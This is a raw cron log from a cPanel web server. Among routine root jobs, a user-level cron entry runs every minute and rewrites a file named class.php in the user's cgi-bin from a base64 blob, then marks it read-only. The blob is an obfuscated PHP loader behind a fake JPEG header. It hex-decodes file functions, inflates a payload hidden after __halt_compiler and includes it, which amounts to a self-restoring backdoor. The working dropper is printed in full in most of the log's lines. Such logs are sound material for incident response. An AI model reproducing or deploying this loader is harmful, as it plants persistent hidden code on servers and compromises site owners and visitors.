Sep 11 12:55:01 server CROND[9920]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 12:56:01 server CROND[10805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:56:01 server CROND[10806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:56:01 server CROND[10807]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:57:01 server CROND[11288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:57:01 server CROND[11289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:57:01 server CROND[11291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:57:01 server CROND[11290]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 12:58:01 server CROND[11677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:58:01 server CROND[11679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:58:01 server CROND[11678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:59:01 server CROND[12054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:59:01 server CROND[12055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:59:01 server CROND[12053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:00:02 server CROND[12478]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 13:00:02 server CROND[12480]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 13:00:02 server CROND[12481]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 13:00:02 server CROND[12484]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 13:00:02 server CROND[12482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:00:02 server CROND[12485]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:00:02 server CROND[12486]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:00:02 server CROND[12483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:00:02 server CROND[12487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:01:01 server CROND[13329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:01:01 server CROND[13336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:01:01 server CROND[13337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:01:01 server CROND[13338]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 13:01:01 server run-parts(/etc/cron.hourly)[13338]: starting 0anacron
Sep 11 13:01:01 server run-parts(/etc/cron.hourly)[13353]: finished 0anacron
Sep 11 13:02:01 server CROND[13815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:02:01 server CROND[13817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:02:01 server CROND[13816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:03:01 server CROND[14218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:03:01 server CROND[14219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:03:01 server CROND[14227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:04:01 server CROND[14596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:04:01 server CROND[14597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:04:01 server CROND[14599]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:05:01 server CROND[14986]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:05:01 server CROND[14988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:05:01 server CROND[14991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:05:01 server CROND[14994]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:05:01 server CROND[14995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:05:01 server CROND[14992]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 13:05:01 server CROND[14993]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 13:05:01 server CROND[14990]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 13:06:01 server CROND[15847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:06:01 server CROND[15848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:06:01 server CROND[15849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:07:01 server CROND[16299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:07:01 server CROND[16300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
